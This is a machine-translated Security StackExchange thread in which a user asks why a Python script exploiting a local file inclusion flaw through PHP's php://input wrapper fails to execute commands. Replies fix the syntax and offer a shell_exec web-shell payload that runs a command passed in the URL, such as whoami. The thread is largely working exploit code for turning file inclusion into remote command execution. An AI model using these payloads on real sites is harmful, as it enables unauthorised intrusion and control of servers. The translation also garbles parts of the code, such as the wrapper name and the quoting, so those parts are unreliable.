TLDR:试图在有LFI秃鹫的站点上执行命令。
所以我向易受攻击的网站提出了我的帖子请求
import requests
header = {
'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201',
'Accept-Language':'en-US;',
'Accept-Encoding': 'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;',
'Connection':'close'
}
command = "<? system(\"echo does this work\");?>"
requests.post("https://www.vulnsite.com/pog=php://input", headers=header, data=command)然后,如果我查看它返回的实际响应:<? system("echo does this work");?>
为什么它不返回“这有用”?如何让它执行实际的命令?我做错什么了?
发布于 2021-01-17 11:56:36
可能您的语法在系统函数中不正确,错误输出也没有打印出来。使用CTR+U的源模式视图在web浏览器中尝试您的请求。
在系统功能中,应该像这样调用:
<?php system(\"echo 'does this work'\");?>发布于 2021-02-18 20:34:30
使用php包装器构建请求的方式存在一个问题,应该是requests.post("https://www.vulnsite.com**?pog=php:**//投入“,headers=header,data=command)“注意,您正在使用POST请求将数据发送到服务器,所以您应该可以访问该数据,完整的请求应该是这样的,
命令= <?php echo shell_exec($_GET['cmd']); ?>
requests.post("https://www.vulnsite.com?pog=php://cmd&cmd=whoami“,headers=header,data=command“)
此外,我建议您在使用代理工具(如burp或您自己选择的)发送时拦截请求。
发布于 2021-02-19 14:46:07
并不是每个LFI都是自动RCE --它取决于特定的目标。您是否已经验证是否获得了RCE (例如,使用Burp之类的)?
如果是这样的话,您可能还需要在插入代码之后调用它。我将尝试通过浏览器或代码调用注入脚本的URL,并查看此请求的结果。
https://security.stackexchange.com/questions/243416
复制相似问题